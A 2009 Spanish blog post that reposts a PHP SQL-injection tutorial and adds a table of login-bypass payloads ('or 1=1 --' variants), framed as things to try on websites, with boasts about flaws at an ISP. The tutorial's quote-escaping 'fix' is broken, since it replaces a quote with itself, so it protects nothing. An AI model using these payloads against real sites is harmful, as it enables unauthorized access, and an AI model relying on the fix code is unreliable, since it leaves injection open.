. Con la tecnología de Blogger.

miércoles, 16 de diciembre de 2009

Inyección SQL

esta no es la misma inyeccion que se hace mediante get , que es la que comunmente conocemos , las personas que llevan tiempo , en esto saben que esta es re vieja.. y que es muy improbable que esto funcione en webs muy modernas o bien echas.. pero nunca ahi que dejar de intentar....
si vamos al caso , si una web no tiene fallos , hacemos un reverse , lo que nos abre muchas puertas segun el resultado.. lo cual esto , nos serviria para poder entrar en alguna web vecina o en la que queremos entrar...

es todo un copy && paste , que esta bien explicado , y por eso lo pongo asi , y no lo describo con mis palabras.. xD

La inyección SQL consiste en la modificación de las consultas a nuestra base de datos a partir de los parametros pasados por URL al script en PHP.

¿En que consiste?
Vamos a ver un ejemplo de lo que es la inyección, imaginemos que para validar el acceso de un usuario registrado utilizamos la siguiente consulta SQL:

<? 
$sql = "SELECT * FROM usr WHERE id = '" . $id ; 
$sql .= "' AND pwd = '" . $pwd . "'" ; 
?>

Cuando tengamos unos valores para el nombre de usuario (id) y la contraseña del usuario (pwd) tendremos una consulta normal a la base de datos que nos devolverá los datos del usuario si la contraseña es correcta:
SELECT * FROM usr WHERE id = 'root' AND pwd = '4358'
Pero vamos a ver que pasaria si intentaramos modificar la consulta poniendo cómo contraseña ' OR '' = '
SELECT * FROM usr WHERE id = 'root' AND pwd = ' ' OR '' = ' '
En este caso, como '' siempre es igual a '', habremos modificado la consulta para que nos devuelva siempre los datos del usuario aunque la contraseña sea incorrecta, y el visitante malintencionado se podrá conectar como cualquier usuario.

Pero esto es solo un ejemplo, asimismo, el visitante malintencionado podra conseguir contraseñas, borrar, anñadir y modificar datos de nuestra base de datos... por eso es importanto que nos aseguremos que nuestro sitio es seguro en este aspecto.

¿Estoy afectado?
Según la configuración de tu servidor es posible que no te encuentres afectado por este tipo de problemas, pero de todos modos es mejor asegurarse, vamos a ver si nuestro servidor toma la precaución de cambiar las comillas pasadas en las variables ejecutando este código:

prueba.php
<?  
if(!isset( $_GET [ "inyeccion" ])){ 
header ( "location: ?inyeccion='" ); 
} else { 
    echo 'Tu servidor ' ; 
    if( $_GET [ "inyeccion" ] != "'" )echo 'no ' ; 
    echo 'tiene problemas de inyección' ; 
} 
?>
Segun el mensaje que nos muestre deberemos o no preocuparnos.

¿Que debo hacer?
En el caso de que tu servidor haya dado resultado positivo, será porque no se preocupa de cambiar la comilla simple por ' , y en este caso, deberemos ser nosotros los que manualmente lo cambiemos de todas las variables pasadas tanto por URL como vía formulario:

inyeccion.php
<?  
// Evitamos la inyeccion SQL 

// Modificamos las variables pasadas por URL 
foreach( $_GET as $variable => $valor ){ 
$_GET [ $variable ] = str_replace ( "'" , "'" , $_GET [ $variable ]); 
} 
// Modificamos las variables de formularios 
foreach( $_POST as $variable => $valor ){ 
$_POST [ $variable ] = str_replace ( "'" , "'" , $_POST [ $variable ]); 
} 
?>
Y incluiremos este script en todas las páginas en las que realizemos consultas a la base de datos:
<?  
// Evitamos la inyeccion SQL 
include 'inyeccion.php' ; 
// 
// Contenido de la página PHP 
// 
?>
De esta manera conseguiremos hacer consultas a la base de datos desde PHP de forma más segura, vean cómo si incluyen este archivo en la página de prueba, les dirá que el servidor es seguro ;)

Artículo por cortesía de Eloi de San Martín
www.programacionweb.net

visto.. aca

para darles algunos ejemplos...
el dia que TrueneX encontro un par de vulns en un isp argentino (speedy) uno de esos fallos , es este mencionado.. ahora ya parchearon , pero tengo el email que ese dia me mando ;)

y como speedy muchas webs mas pondria , pero no estan parcheadas todabia.. por eso mejor no

tambien podrian probar con otras sentencias... estas las sake de un paper que esta colgado en milw0rm..


+-----------------------------+
 |   ' or 1=1 --       |
 |   a' or 1=1 --       |
 |   " or 1=1 --       |
 |   a" or 1=1 --       |
 |   ' or 1=1 #       |
 |   " or 1=1 #       |
 |   or 1=1 --       |
 |   ' or 'x'='x       |
 |   " or "x"="x       |
 |   ') or ('x'='x       |
 |   ") or ("x"="x       |
 | ' or username LIKE '%admin% |
 +-----------------------------+
 |      USERNAME:  ' or 1/*    |
 |      PASSWORD:  */ =1 --    |
 +-----------------------------+
 |  USERNAME: admin' or 'a'='a |
 |  PASSWORD: '#        |
 +-----------------------------+
si notambien 
user : user
pass : user' or '1'='1
y manejense vieja...
saludos

2 comentarios:

Anónimo 17 de diciembre de 2009, 14:38  

Me estas diciendo que esta ridicula falla es la que tenia Sonica!?

Darioxhcx 18 de diciembre de 2009, 2:59  

no , eso es una seccion de sspedy , nada q ver con sonica , lo de sonica fue otra cosa...
esa parte solo dejaba editar calendarios , nada muy riesgoso , pero existia la vuln... en fin
solo una anecdota :P
saludos